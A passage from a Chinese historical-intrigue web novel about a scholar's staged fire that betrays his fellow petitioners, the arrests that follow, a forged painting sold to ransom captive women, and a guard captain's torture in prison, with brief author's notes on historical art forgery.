夕阳正好,马车驶出顾府后巷,周妙雅回头望了一眼那扇缓缓阖上的角门,轻声道:“但愿还来得及。” 朱弘毅没有回答,只是扶她上了马车,车厢里,他看着她忧心忡忡的侧脸,忽然道:“尽人事,听天命。” ———— 是夜,三更刚过,文府方向突然火光冲天,映红了半边夜幕。 锣声,呼喊声,救火声乱作一团。 待到附近官员,学子们闻讯赶到时,文府偏殿已陷入一片火海,热浪逼人。 就在这片混乱之中,众人目睹了惊心动魄的一幕: 文毓瑾被两个家丁死死架住胳膊,仍拼命挣扎着往火海里冲,似要夺回什么比性命更紧要的东西。 他素日里纹丝不乱的鬓发此刻焦卷散乱,那身象征清流的半旧儒衫被火星燎出无数破洞,烟灰满面,泪水纵横,火光映得他狼狈凄怆。 “放手!我的书!那些孤本!”他嘶哑得破了音,手腕通红,满是灼伤,却仍死命往火海里扑。 一个家仆怀里紧紧抱着几卷刚从火场中抢出的古籍,书匣边缘已被烤得焦黑。 “大爷!不能再进去了!房梁要塌了!”家丁哭喊着,拼死将他往外拖。 文毓瑾被强行拖到安全处,双腿一软,竟直挺挺跪倒在地。 他望着那片吞噬了无数藏书典籍的火海,猛地以拳捶地,发出沉闷的咚咚声。 “苍天无眼!为何要毁我文家百年积累!那是祖辈心血,是天下学子梦寐以求的圣贤典籍啊!” 他仰天悲呼,泪水混着黑灰在脸上冲出两道深沟,痛不欲生。 他猛地转身,一把攥住身旁一位赶来救火的同僚衣袖,声音颤抖着几乎碎裂:“是…是他们!定是那阉党!知我明日要上书为杨公陈情,便纵火焚我文府,毁我藏书,断我文脉!此乃诛心之策!诛心之策啊!” 字字泣血,闻者无不动容。 陈贞慧,侯向生等年轻学子赶到,见到他们敬重的文先生如此惨状,再听他这番泣血控诉,一个个眼圈发红,攥紧了拳头,胸中怒火与那场大火一同熊熊燃烧。 “文先生保重身体!”陈贞慧抢步上前,欲要扶他。 文毓瑾却挣脱了他的手,痴痴望着火场,喃喃道:“书没了…那奏章也被烧了!明日…明日拿什么去面圣…杨公…杨公的血仇…” 他声音渐低,似已心如死灰,忽地身形一晃,竟哇地吐出一口鲜血,随即晕厥过去。 “文先生!” “快!快请大夫!” 文府门前顿时一片大乱。 没有人注意到,当被家丁慌乱抬回主院时,那昏迷的文毓瑾,在无人可见的角度,唇角极轻地勾了勾。 偏殿的火仍在烧,映红了夜空,也映得一张张怒恨交加的脸愈发扭曲得发亮。 这场火,烧毁了藏书,也彻底点燃了学子们心中与阉党不共戴天的仇恨,而那份原本要呈递御前的联名上书,也一同葬身于火海之中。 第65章 文毓瑾被抬回主院, 灌下参汤,幽幽转醒。 他不顾郎中的劝阻,强撑着病体, 来到前厅。 那里已聚集了不少闻讯赶来的兴社学子, 看到这余火未烬的场景, 眉目间皆凝着悲愤。 文毓瑾怀中紧紧抱定那几卷从火海中抢出的残书,那些书被烧的焦边碎页,惨不忍睹。 他将那几本书紧贴在胸口,仿若壮烈归来的英雄怀抱着阵亡将士的枯骨。 他的目光掠过那一张张年轻的,挂着未褪激愤的脸。 沉默半晌后,他哽咽着,涕泗横流, 泪水混着脸上的烟灰,格外凄惨悲怆: “文某文某无能啊” 他强撑着虚弱的病体, 忿恨开口, 声音嘶哑,鼻音沉重: “未能护住诸位呕心沥血的联名奏疏,更累及我文家数代珍藏的祖宗典籍” 他颤抖的枯指抚摸着焦黄的残页, 痛彻心扉地哭诉着: “那奏疏,凝聚了诸位的心血, 誓要为杨公讨回公道。它本藏于偏殿的木匣中,吾本欲今夜再最后斟酌字句未曾料到…哎…” 他说到痛处, 猛地阖上双眼,两行清泪拌着烟灰直下。他的喉结剧烈滚动着, 仿佛承受了巨大的悲怆: “火势太大,我冲进去时,那书匣就在我眼前, 被掉下来的梁木压住,顷刻间就就化作了灰烬。” 再睁开眼时,他目光空洞,仿若刚经历了世间最悲痛的人间惨剧,喃喃着:“连一页一页都未能抢出来” 几个学子见他悲痛至此,忙上前抚胸疏背,温言相劝。 蓦地,只见文毓瑾如遭雷噬一般,浑身剧震,眼底迸射出彻骨的恨意,他抓住身边一个学子的手臂,自言自语地喊着: “是了是了!这火起得蹊跷,早不起晚不起,偏偏在我们要上书的前夜,定是那阉党!他们不敢让这份奏章呈到御前,便要将它连同这满屋典籍一同焚毁。他们不仅要杀人,还要诛心,要让天下人都不敢再发声!” 他这出痛彻肝脾的戏,将一个痛失重要文书、又看穿阴谋的悲愤儒生刻画得入木三分。 既合理圆了奏疏被毁的局,又成功引起了众怒,矛头直指阉党。更在学子们心底,种下阉党片纸不留,锱铢必较的焚书之惧。 “文兄珍重!”陈贞慧红着眼眶上前扶住他,“奏章没了,我们还可以再写!” “对!我们这就回去重新联名!”侯向生激动地喊道。 文毓瑾听罢这话,猛地抬起头,目眦欲裂,泣血般控诉着: “阉党焚书,意在断我文脉,绝我圣传,此乃斯文扫地,文明之浩劫。自焚书坑儒后,千年间尚未有如此公然践踏圣贤文章之暴行,他们不仅要堵住悠悠众口,更欲焚尽先贤之骨,苍天何其不仁!” 他这番痛彻心扉的泣血之呼,成功地将学子们的注意力从奏章被焚,转移到了阉党焚书的暴行之上。 陈贞慧哽咽着上前,“文兄,您已尽力,是那阉党丧尽天良。” “典籍虽毁,但正气长存!”侯向生振臂高呼,眼中燃烧着怒火。 文毓瑾看着群情激愤的学子,知道自己的目的已达到。 他佯装虚弱,晃了晃身子,无力地倚靠在家丁身上,气若游丝: “文某愧对诸位待我料理完这些残卷,养好身子必再与诸君共商大计” 说罢,他双目翻白,似耗尽所有心力,再次昏厥了过去,被家丁慌忙抬回内室。 前厅里,只留下满腔怒火的学子们,对着暗夜中大火尚未完全熄灭的余烬,誓要与阉党势不两立。 ———— 翌日早朝,金銮殿阴云欲坠,气氛凝重。 不等御史出列,首辅康敏之竟率先出班,扑通一声跪倒在地。 康敏之纵横内阁十余年,素以沉稳著称,此刻竟是老泪纵横,花白的胡须颤若秋风扫叶。 “陛下!老臣老臣痛心疾首啊!” 他声音嘶哑,以头抢地,砰然血溅: “文翰林乃圣上钦点的状元,两榜进士,清流典范,昨日竟遭此横祸,若非家仆拼死相救,几葬身火海!” 他抬起泪眼,涕泗横流地环视着满朝文武: “纵火焚宅,毁人典籍,此等行径,与暴秦何异?这是要堵天下人悠悠众口,让士林寒心,让读书人不敢再言国事啊!” 他猛地转向御阶之下垂手而立的魏琰,字字泣血:“魏公,您执掌司礼监,统领东厂,京畿治安亦是职责所在,如今竟有狂徒敢对朝廷命官行此恶事,您难道不该给天下人一个交代吗?” 这番表演堪称精妙绝伦,滴水不漏。 他绝口不提那份被焚毁的联名奏疏,只抓住焚书,迫害文士大做文章,一个忧心国事,痛心文脉受损的忠臣皮相瞬间剥脏立净。 满朝文武鸦雀无声。 几个原本准备弹劾康敏之与阉党勾结的御史,此刻竟不知该如何开口。 康敏之伏在地上,低泣声仅近 臣可闻: “陛下老臣惭愧身为首辅,却只能眼睁睁地看着朝纲败坏至此若不能严惩凶徒,老臣老臣唯有乞骸骨归乡,无颜再立于这朝堂之上” 他这番以退为进,既撇清了自己与阉党的关系,又将失士林即失天下的暗刺,悄悄扎进少年天子的心底。 龙椅上,朱弘睿眉头紧锁,看着大殿之上痛哭流涕的首辅,又瞥了一眼面无表情的魏琰,最终疲惫地揉了揉眉心:“康爱卿,先起身说话。” 康敏之却不肯起身,反而以额触地,泣血再叩: “陛下!老臣并非为文毓瑾一人请命,昨夜那把火,烧的是文家藏书,践踏的却是天下读书人的颜面。今日他们敢焚书,明日就敢坑儒,此风断不可长啊陛下!” 他绝口不提学子联名奏章之事,只将此事扣死在践踏文脉之上。 魏琰适时出列,躬身道:“陛下,康首辅所言极是。咱家听闻,文家藏书楼中有不少孤本,善本,皆是文家数代心血,更是天下文脉所系。如今遭此劫难,等同于断我大晟文脉一刀,实在令人痛心。” 他语气沉痛,好似真心为典籍被毁而惋惜:“咱家以为,当务之急是查明真凶,以安天下士子之心。东厂愿与刑部协力,必将此事查个水落石出。” 魏琰这番话,冠冕堂皇,看似公允,实则将调查权牢牢握在了自己手中。 刑部尚书是康敏之的门生,东厂更是魏琰的地盘,所谓共查,不过是走个过场。 几个清流官员面面相觑,想要开口,却不知从何说起。 康敏之和魏琰一唱一和,一个痛心文脉受损,一个表态要严查,将这场明显有问题的纵火案包装成了维护文脉的正义之举。 年轻皇帝裹着疲惫的口吻,最终敲下定音:“准奏,就由东厂与刑部共查此案,务必查明真相。” “臣遵旨。”康敏之这才缓缓起身,与魏琰交换了一个心照不宣的眼神。 退朝的钟声响起,早朝看似以严查纵火案告终,实则却是阉党与伪清流打的一次完美的配合。 真正的输家,是那些还被蒙在鼓里、以为遇到明主的兴社学子。 ———— 文府大火的烟尘尚未散尽,一场更猛烈的风暴已然降临。 就在朝堂上下都将注意力集中在追查纵火真凶,安抚文毓瑾之时,东厂的缇骑如鬼魅般倾巢而出。 他们手中握着一份完整的缉捕名单——正对应上那份已葬身火海的联名奏疏上所有署名的学子。 名单上不仅有他们的姓名,更是细致罗列着他们的籍贯,家眷,唯独缺了文毓瑾的。 清晨,天边刚刚吐白。 国子监号舍内,监生陈贞慧刚披上外衣准备晨读,房门就被粗暴踹开。 几个东厂番役二话不说,直接用枷锁扣住他的手腕。 “你们做什么!”陈贞慧又惊又怒,“我可是国子监监生!” 为首的档头冷笑一声:“陈贞慧,有人告发你结党营私,图谋不轨。” 与此同时,礼部主事沈继荣在前往衙门的轿中被截住,刑部员外郎卢生从值房中被拖出,都察院御史黄英在府中用早膳时被闯入的番役当场锁拿 网越织越密,抓捕的范围迅速扩大。 凡是与这份名单稍有牵连的士子,哪怕是只在文府清舍与文毓瑾有过一面之缘的举人,都被列入缉拿名单。 “凭什么抓我!”侯向生在被拖出书院时奋力挣扎。 番役一脚踹在他膝窝:“自己做了什么心里清楚!” 侯向生疼得冷汗直冒,却仍倔强地仰着头:“我辈读书人,心怀天下,何罪之有?” 这番对话在京城各处同时上演。被锁拿的学子们个个悲愤交加,却无一人想到问题出自那份已被焚毁的奏疏。 囚车辘辘,陈贞慧对身旁的同窗咬牙低语:“定是前日我们在文府聚会时走漏了风声,有人告密。” 同窗蜷在阴影里,忧心忡忡地望着文府的方向:“文兄他不知是否安然” 他们至死都不会想到,那个他们敬重爱戴的文兄,那个与他们一同慷慨激昂,痛陈时弊的清流领袖,正是将他们推入深渊的元凶。 囚车轧过石板路,枷锁锒铛,打破了清晨的宁静。 沿途百姓纷纷避让,对着这些披枷戴锁的年轻士子们指指点点: “这些都是读书人啊” “听说要造反” “好好的前程不要,非要跟朝廷作对” 风言风语如同冰水,浇在学子们早已凉透的心上。他们不明白,为何满腔报国热忱,换来的却是镣铐加身。 诏狱的大门轰然阖死,将最后一缕天光彻底隔绝。 陈贞慧被推搡着,踉跄地向前,忽然脚下一绊,发出铁链拖曳的声响。 黑暗中传来几声虚弱的呻吟,更深处似乎还有鞭挞声和压抑的惨呼。 平日书院中的书卷,意气,治国平天下,顷刻被血腥味呛回喉咙。 这一刻,他们才真切地意识到——这不是儿戏,不是书斋中的清谈,不是提笔挥墨的策论,而是你死我活的党争。 而他们,这些满腹经纶的学子,才是那血淋淋的棋盘上,被抛弃的棋子…—— 作者有话说:文毓瑾太能演了! 第66章 夜色深沉, 宁王府的后门被轻轻叩响,顾凌云一袭夜行衣,与夜色几乎融为一体。 长安引他穿过寂静的庭院, 直接进了朱弘毅的书房。 周妙雅也在, 她正将一盏刚沏好的热茶递到朱弘毅面前。见顾凌云进来, 她微微颔首,又默默取过一个杯子,为他斟满。 顾凌云无暇寒暄,未及落座,便从怀中取出一本名册,摊于案上。 那是一份名单,墨迹尚新, 上面密密麻麻写满了名字,许多名字旁边都用朱笔勾画纵横, 做了标记。 “王爷, 周姑娘。” 顾凌云指尖落在一处朱笔圈出的名字上:“这是今日北镇抚司根据东厂移交的部分案卷,抄录的缉拿名单。截止一个时辰前,入诏狱, 刑部大牢及东厂私狱的兴社相关人士,已逾百人。” 周妙雅倒吸一口凉气, 下意识地攥紧了衣袖。百余人,这已远超一次寻常的党争清洗。 朱弘毅面色沉静, 他的目光掠过那串名字,虽神色未动, 但搭在太师椅扶手上的手已微微绷紧。 顾凌云的声音压低:“二位可有看出问题?这份名单,太过完整了。” 他修长的手指划过纸面,在几个名字上停留了下来:“李梦庚, 国子监末位增广生,平日只在书肆抄书为生,从未参与过任何清议聚会。陈良,更是个假名,此人是兴社在江南的暗桩之一,三日前才秘密入京,连我都时至今晨才摸到他的行踪。” 他指尖顿了顿,最终停在一个名字上——方继。 “还有此人…” 顾凌云抬起眼,看向朱弘毅:“王爷可还记得,苏州虎丘书院的那个狂生,因酒后醉骂魏琰生祠,当场被革了功名。自此此人便人间蒸发,连兴社内部都只道他是失踪,结果此人化名为方继,悄悄潜回了京城,在通惠河码头替船家算帐。” 顾凌云的眸光锐利如刃:“东厂此次抓人,手起网落,一捞即中,连这些隐藏极深,甚至用了化名的人,都被精准地捞了出来。这不像是撒网,更像是…按图索骥,照簿点人。” 书房内骤然死寂一片。 周妙雅只觉得一股寒气聚上心头,她瞬间就明白了顾凌云在怀疑什么。如此精准的名单,岂是东厂用耳目灵通四个字所能解释的? 那份已焚毁的联名奏疏… 朱弘毅终于开口,清晰的声音划破死寂:“那份联名奏疏,文毓瑾亲口说,他看见被梁木压住,烧成了灰烬。” 顾凌云冷笑一声:“火场混乱,烟熏火燎,他文毓瑾竟能亲眼看见一份奏疏被烧得一页不剩?除非他早知道结果是什么。” 周妙雅声 线微颤:“他是故意的…他故意煽动学子联名,故意引来这场大火,然后…将这份包含了所有核心成员真实姓名,甚至可能还有他们隐藏身份,人际网络的名单,拱手送给了阉党?” 这个推测太过骇人听闻,若真如此,文毓瑾便是亲手将兴社的脊梁骨抽出,洗净奉于刽子手刀下。 朱弘毅缓缓起身,负手立于窗畔,望着外面的沉沉夜幕。 “文毓瑾要的,不止是清名,更是投名状。” 他背对着两人,声音冷峻:“一份足以让魏琰对他刮目相看、甚至引为心腹的投名状。还有什么,比献上整个兴社,更能表忠心?” 顾凌云接口道:“而且,经此一役,他在清流和学子中舍生取义,保全火种的形象将无比高大。阉党得利,他得名得势,名利双收,一举三得。” 好狠的算计,好毒的心肠! 周妙雅胸口翻涌,只感觉一阵恶心。 她脑中回闪出文毓瑾那张道貌岸然的脸,想到他如何用最冠冕堂皇的理由,将那些信任他的热血青年推向万劫不复的深渊。 顾凌云的声音将她从冰冷的思绪中拉回:“我们必须拿到证据,光有推测无用。我们需要知道那份奏疏的原本,或者副本,究竟落在了谁手里,现在何处。” 朱弘毅转过身:“你有线索?” “东厂掌刑千户杨寰,是具体执行抓捕的人。” 顾凌云道:“如此重要的名单,必在他手中,或已呈送魏琰。但杨寰此人…贪财好利,或可设法。” 朱弘毅面色沉静:“此事需万分谨慎,一击不中,后患无穷。” 顾凌云点头表示赞同。 此计即已定,确见他神色并未轻松半分。他沉默了一瞬,复又开口:“还有一事。杨濂的独女杨婉,陈贞慧的妹妹陈淑仪,侯向生的幼妹侯静云…凡在押诸人府中女眷,年未花甲者,昨日一并没入教坊司。” 周妙雅闻言,手中的茶盏哐当一声落在桌上,热茶溅透袖口,她竟毫无知觉。 “教坊司…”她喃喃着,脸上血色霎那间褪尽。 那是比诏狱更幽暗,更不堪的地方,那是将官家小姐训为官妓的地方。对罪臣女眷而言,那是对她们从精神和**上进行双重摧辱的魔窟。 一旦进去,生不如死。 周妙雅指尖掐进掌心,声音带着彻骨的寒意: “魏琰…这是要赶尽杀绝,连一丝血脉,一点尊严都不给人留吗?” 她眼前浮出杨濂悲勇就义的模样,若他泉下有知,独女被拖进那等魔窟,该是何等悲愤。 顾凌云看向她,语气虽没什么起伏,但却带来一丝微弱的希望:“教坊司归礼部管辖,但具体管事的是个姓刘的太监,此人贪财,胜过其他,若有足够银钱打点,或可…将人赎买出来。” 他停了一瞬,复又补充了最关键的一句:“只是,价格必然不菲,而且要快,一旦名册归档,入了教坊司内院,再想捞人,就难如登天了。” 他说罢这话,书房内再次陷入沉默。 这笔钱从哪里来?宁王府虽不缺银钱,但若由王府出面巨额赎买罪臣女眷,目标太大,立刻就会引起魏琰和文毓瑾的警觉。 周妙雅紧抿着唇,拧着眉,陷入了沉思。 忽然,她抬起头,目光如炬地看向朱弘毅: “王爷,我们卖画吧。” 朱弘毅与顾凌云闻言,同时惊讶地望向她。 周妙雅定了定神,只见她语速加快,思路也清晰了起来: “我近日所绘,连同仇先生自苏州相赠的那些画,尽可动用。姚老先生掌眼书画行数十年,其眼力,人脉,信誉都是顶尖的。若请他帮忙,将画作悄悄出手,所得银钱,便可用于赎人。” 她抬起带着恳求与决然的眼,望向朱弘毅:“画本是死物,若能化作百金,从魔窟拖回几条人命,换回几张清白身,便是它们最大的价值。仇先生若知他的画能救人性命,必也不会怪罪。” 这真的是一个无比大胆的计划。 通过姚老先生这位中间人,既能避开宁王府的直接牵连,又能快速筹集到所需的巨额银钱。 书画交易在京城本就风雅寻常,不易惹人注目。 朱弘毅凝视着她,他看到了她眼底的那抹灼亮,比烛火更盛。 他知道,这不仅是救人,更是她对抗这黑暗世道的方式,用她最擅长的笔,去换回一丝微弱的光。 他没有丝毫犹豫。 “好。” ———— 顾凌云的身影消失在夜色中,书房的门被轻轻合拢。 屋内,烛焰被风带得轻晃,映得两道剪影在墙壁上随之摇曳。 朱弘毅没有立刻说话,他缓步走近周妙雅身前,烛光在他深邃的眼底投下温柔的影子。 他伸出手,并未触及到肌肤,只是轻轻替她拂开额前那缕散落的碎发,动作轻柔。 他开口,声音低沉:“想起那日,在汲古斋,我为你一幅《共伞图》,与文毓瑾相争,五百金掷出去,眼也未眨一下。” 他指尖仍虚停在她的鬓边,嘴角却牵起一抹极淡的,带着些许自嘲的弧度:“那时只觉得,凡是你笔墨所至,便是无价。未曾想,今日竟要靠售卖你的画作来筹措银钱。” 他话中无怨,只有对她才华被贱卖的心疼。仿佛看见皎皎明月被称斤道两,以及对这乱世的无奈唏嘘。 周妙雅抬眸,迎上他温柔中带着歉然的目光。她缓缓摇头,眼神清澈而坚定: “王爷,此一时彼一时。那时是意气,如今是性命。画作本是死物,若能凭几尺绢素,在泥潭中护住几分清白尊严,拯救出几户完整人家,它们才算物有所值。若只是将画作藏在深阁蒙尘,那才是真真委屈了笔墨。” 她顿了顿,语气里透出一种破釜沉舟般的决断:“既然要卖,就要卖出能救命的价钱。我之前的那些无款画,仅凭几分祖父的笔意,便能引得京城震动。此番…” 她深吸一口气,目光灼灼:“我干脆一仿到底。不仅仿其笔法风骨,连提拔,钤印,都仿得一丝不差。祖父的真迹难寻,一幅文老太爷晚年精心之作,足以让那些趋之若鹜的收藏家们争破头。唯有如此,才能在最短时间内,筹到足够赎人的巨款。” 她此言一出,连朱弘毅都为之动容。 这不仅仅是卖画,更是要将自己置于风口浪尖。 一旦事泄,仿作之名传出,于她天下第一才女的清誉将是沉重打击。 她这是拿自己的清誉去换别人的生路。 朱弘毅深深地看着她,看着她眼中的坚决,看着她眼中闪烁着善良,勇气与智慧的光芒。他不再多言,只是郑重地点了点头,将所有劝阻与疼惜都封在了喉间。 “好。”他只有一个字,承载了全部的信任与支持,“需要什么,让长安去准备。姚老先生那里,我来安排,必不叫人起疑。” 第67章 三日后, 姚老先生亲自登门。 他被引入偏厅时,周妙雅与朱弘毅已候在案侧。 姚老先生未及寒暄 ,只将怀中画匣轻置于桌面。他打开匣盖, 取出其中已然装裱好的画卷, 在桌面上缓缓展开。 绢素铺陈, 正是周妙雅仿文老太爷的那幅《溪山访秋图》。 姚老先生的目光久久驻于画上,似欲将每一寸墨色都勘透。 良久,他方才长长吁出一口气。 他抬眸望向周妙雅,眸底是毫不掩饰的惊异与叹服。 “老朽眼拙,若非姑娘提前言明,乍看之下,几可乱真。这山石皴法, 这林木点染,尤其是这题跋笔意, 形神兼备, 气韵暗合。姑娘于文老太爷笔法之精研,已臻化境。” 他枯指虚悬,轻轻点在那枚仿刻的朱印上, 低声叹道:“这钤印的深浅,印泥的沉浮, 竟毫厘不差,全无新硎的火气。这等手段, 莫说市坊中那些粗劣的苏州片,便是放在文老太爷门生故旧之中, 也断然寻不出第二人。” 周妙雅静静听着,面上并无得意之色,只问:“先生看, 可能出手?” 姚老先生收敛神色,低声道:“能,必能卖出高价。只是……” 他顿了顿,语气愈发慎重:“此画若在京城露面,风险太大。文家旧识,书画行家众多,难保不会被人看出端倪。老朽建议,寻一南来的富商出手。他们附庸风雅,出手阔绰,且多不深究细节,只认名头与画艺。” 大晟承平百年,自隆庆开关之后,漕运海运皆通,商贾之利丰厚,早已滋养出一批富可敌国的巨贾。 按士农工商之旧序,他们虽仍为末流,但金银却能使鬼推磨。 他们凭借雄厚的财力,广置田宅,结交官宦,极力模仿士大夫生活。而收藏书画古董,便算跻身风雅,也暗暗量出财力深浅。 巨贾于风雅之渴,催生出满街的苏州片行当。然大多出自匠手描摹,形具神散,难登大雅之堂。 如周妙雅这般,得文氏真传,又能摒弃个人风格,全心投入仿古,几可乱真的作品,实属凤毛麟角。 事情进展得出奇顺利。 姚老先生门下恰好有位精明的门生,素与各路商贾周旋。 由他作为中间人,将这幅《溪山访秋图》荐与一位正于京中采办的扬州巨贾。那巨贾一见此画,便被其文氏真迹的名头与精巧的画技所吸引,再加姚老从旁首肯,当下便以两千两白银的高价买下。 后续之事,便由顾凌云暗中调度。他寻来一背景干净,素日无涉的商贾,带着两名干练的伙计,怀揣巨款,直入教坊司。 那刘姓的管事太监果如所料,验过白花花的银子,又掂量着额外附赠的金叶子,一双浊眼立即被贪婪占满。 不过半盏茶的功夫,杨婉,陈淑仪,侯静云三位姑娘便已于册上销名,连衣衫都未来得及换,人便已被带走了。 三位姑娘被搀入一辆早已准备好的青布马车,帘缝紧掩,蹄声急促,直奔通州码头。 码头岸边上早已泊着一艘客船,船身不大,却板厚钉密,可御风浪。 那船头立着位年方四十许的妇人,素衣素髻,眉眼沉稳,是一位已致仕的正直御史之妻,由顾凌云亲自安排,一路护送。 周妙雅和朱弘毅站在远处一座临河的茶楼雅间内,透过支起的窗棂,默默地望着码头。 他们看到那辆马车停下,三道纤瘦的身影被扶下,匆匆登上客船的跳板。 为首最高的那位女子,应是杨婉,她在上船前,驻足回望着京城的方向。隔得太远,虽看不清她的眉目,却见她抬手,似在眼角极快地抹了一下,便转身入舱。 船夫利落地撤去跳板,长篙点水,船身离岸,顺着运河水,向南驶去。 她们将被送往广州府,那里天高皇帝远,却商市发达,女子可靠手艺做生意安身立命,亦有顾凌云早年布下的人脉接应,或可隐姓埋名,重获新生。 直至船的帆影消失在氤氲的水汽之中,周妙雅才轻轻阖上了窗。 三条性命,终被笔墨与智谋夺回,她却只觉肩头更重。 庆幸与悲凉交织在一起,似乱絮般堵在胸口。 这世间,竟需要靠这样的方式,才能换取一点点微不足道的公道。 而那些牺牲于党争之下的兴社学子们,却怎么也换不回了。 ———— 世上没有不透风的墙。 顾凌云暗查奏疏原本,私晤东厂千户杨寰的消息,终是通过一条隐秘的渠道,悄悄递进了魏琰的耳中。 司礼监值房内,烛火通明。 魏琰正慢条斯理地执着一把玉柄小花刀,小心仔细地剔着灯芯。 他听罢心腹附耳低语,动作微微一顿。细长的眸子骤亮,寒光一闪,阴戾里夹着掩不住的兴奋。 “顾凌云……” 他齿缝间磨出这三个字,像品鉴着陈年的毒酒,嗓音黏冷:“跟他那位好姐姐一般,专爱与咱家作对。” 新仇旧恨,霎时齐涌胸口。 他想起顾皇后… 那时他刚把朱弘睿扶上龙椅,她便急以贤德规劝皇帝亲贤臣,远小人。 而偏偏皇帝与她自东宫结发,情契深厚,那分倚重与信任,曾叫他夜夜如芒在背。 他绝不容任何威胁,凌驾于自己的权柄之上。 于是,在得知顾皇后有孕后,他便挑了一位指法老道,身家清白的安胎嬷嬷。 一次看似寻常的按摩,伴随着顾皇后几声低抑的痛呼,流下一滩殷红血泊,未具形的皇子就此意外夭折。 这还未完,他又令心腹在顾皇后流产之后调养身子汤药中,掺了无色无味的秘药,生生彻底断了其再做母亲的希望。 他利用皇帝丧子之痛,巧妙地将帝后的隔阂越拉越大。 看着曾经恩爱的少年夫妻日渐生分,看着顾皇后眸中星火一点点熄灭,魏琰心中只有掌控一切的快意。 如今,顾凌云,这个顾家最后的翘楚,竟也敢探手暗查联名奏疏,触他逆鳞? 简直是自寻死路! 魏琰放下玉刀,枯瘦的手指在紫檀木扶手上轻轻敲击着,嘴角勾起一抹冰冷残忍的弧度。 “顾佥事年轻气盛,怕是受了些乱臣贼子的蛊惑,与那帮兴社逆党,走得有些太近了。” 魏琰慢悠悠地开口,声音阴柔,却一锤定论:“既如此,便请顾佥事去昭狱清醒清醒吧。也好叫他知道,这京城的天,究竟是谁在撑着。” 确凿证据? 他不需要。 一句涉嫌勾结兴社,足矣。 命令下达得悄无声息,执行得却如雷霆万钧。 翌日清晨,顾凌云方一踏进北镇抚司衙门,尚未入值房,便见一队东厂番役拦断了他的去路。 为首者,正是他前日暗查的掌刑千户——杨寰。 杨寰擎着一枚刻有东厂字样的铜牌,狞笑着,毫不遮掩。 “顾佥事,奉厂公令,请您过府一叙。”他刻意咬重请字,尾音拖得老长,语气中的恶意几乎要溢出齿缝。 顾凌云脚步顿住,目光掠过杨寰以及他身后如狼似虎的番役。 他面上并无意外,甚至连眉峰都未动一下。既已知晓魏琰的手段,早知调查此事风险极大,只是没想到魏琰反手落刀,速度如此之快。 他没有反抗,也没有询问。 在绝对的权势面前,任何言语和挣扎都是徒劳。 他只是平静地伸出双手。 冰冷的铁链“咔哒”一声锁住了他的手腕,象征着锦衣卫尊严的飞鱼服,此刻却成了讽刺。 昭狱深处,刑房的血腥气浓的发黏。 壁上悬着的,地上散落的,处处都是染血的刑具,在昏暗的灯火下,泛着幽冷的寒光。 顾凌云被剥去了飞鱼服,只着一身白色中衣,被锁于刑架之上。 他面上几乎没有任何波澜,连呼吸都异常平稳,好似全然不将诏狱的酷刑放在心上一般。 几个被杨寰调来的行刑锦衣卫面面相觑,手中握着皮鞭,却迟迟不敢上前。 在北镇抚司,顾凌云的手段与能力有目共睹,更兼其皇后胞弟的身份,积威甚重。 对他们这些底层来说,鞭梢直指顶头上司,谁人敢先落这第一记? “还愣着干什么?找死?”杨寰面目狰狞,一脚踹得行刑卫扑前了几步。 “厂公亲自下的令,他就是天王老子,今天也得脱层皮,给咱家打!” 那行刑卫踉跄站定,咬牙扬鞭,却终究手软,没敢用全力。 只听得“啪”的一声脆响,鞭梢落在顾凌云肩头,中衣应声裂开一道口子,底下皮肉瞬间红肿。 顾凌云的身体微不 可见地一紧,连闷哼都没有。 杨寰看得火起,一把夺过旁边一人手中的鞭子,那鞭子浸过盐水,鞭梢带着细小的倒刺。 “没用的东西!都给咱家滚开!” 他挽起袖子,露出精瘦的手臂,肌筋绷起,眼底燃着噬人的光。 顾凌云凭家世、凭才干,处处压他一头,如今虎落平阳,落到他手里,岂能轻易放过?这口恶气定要一并讨回。 杨寰凑近几步,几乎贴着顾凌云的耳朵,吐息阴冷:“顾佥事,平日里您是最讲规矩的铁面阎罗,怎得今日也踩线犯事,落得这幅田地?说说吧,是怎么跟那些兴社逆党暗通勾连的?那份名单,您是从哪儿得来的消息?” 顾凌云阖上双眼,仿佛老僧入定,连睫毛都未颤动半分。 杨寰脸色陡沉,他不再废话,手腕一抖,那浸盐的鞭子裹着呼啸的风声,狠狠抽了下去! 这一下,力道与方才截然不同。 “啪!” 皮开肉绽。 盐粒混着倒刺撕进皮肉,中衣瞬间绽开片片猩红,随之而来的是一阵密集的,钻心的锐痛。 顾凌云额角青筋骤跳,齿关瞬间咬紧。 他却仍闷声不发,只是紧紧绷着被绑在刑架上的手。 “骨头还挺硬!”杨寰狞笑,又是一鞭,抽在同样的位置,“咱家倒要看看,是你的骨头硬,还是咱家的鞭子硬!” 鞭似毒蛇,一鞭接着一鞭,胸膛,臂膊,腰腹次第绽红。 空气中顷刻间盈满血腥气。 矗立在旁的锦衣卫们都下意识地避开了目光,不敢再看。 ———— 夜深人静,连夏虫都噤了声。 宁王府后角门被叩响,声音比顾凌云来时更轻,更急。 长安闪身开门,敲门之人穿着一件深色的斗篷,檐下微光映出纤细轮廓。 不是北镇抚司传信的人,而是一名女子。 女子掀开兜帽,露出苍白清秀面容,竟是皇后身边最信任的贴身宫女如意。 她泪已满眶,呼吸凌乱,一见长安便扑通跪在冰冷的石阶上,声音哽咽破碎:“奴婢求见宁王殿下,求王爷救救我们大人!”—— 作者有话说:明清时代,最著名,规模最大的书画造假中心是明代万历到清代嘉庆时期的苏州。苏州山塘街专诸巷和桃花坞一带聚集着一批民间作画高手,专以制作假画为业,所造假画统称为“苏州片”。 万历时期进士张泰阶曾编成《宝绘录》一书,集晋、唐至明代书画共200多件,其中有“元四家”和“明四家”,宣称书中丹青墨宝皆“稀世真品”。后为人揭穿,书中所载书画皆伪作。 天启三年,皇后张嫣怀孕,客氏与魏忠贤担心她生下嫡长子,遂收买了替她按摩的贴身宫女。一日,趁皇后腰痛需人推拿时,该宫女借按摩之名,突然用重力猛捶其腰腹,当场致其流产,胎儿夭折,张嫣亦从此失去生育能力。 第68章 长夜无眠, 偏厅帘影深重。 朱弘毅被匆匆引来时,一眼便瞧见了如意,那是顾皇后身边的贴身宫女, 自小同皇嫂一起长大的陪嫁丫鬟。 他见如意直挺挺地跪在地上, 双臂高举过头顶, 掌心托着一方素帕。 那帕子白得刺目,正中凝着一滩暗红色的血迹。 朱弘毅忙上前,接过那方帕子,帕上以血书写着寥寥数字: “皇叔,救凌云,魏阉不死,帝室危矣。” 字迹虽潦草, 却刀刀见骨,确是顾云舒的笔迹。 如意望着他凝重的表情, 突然伏身, 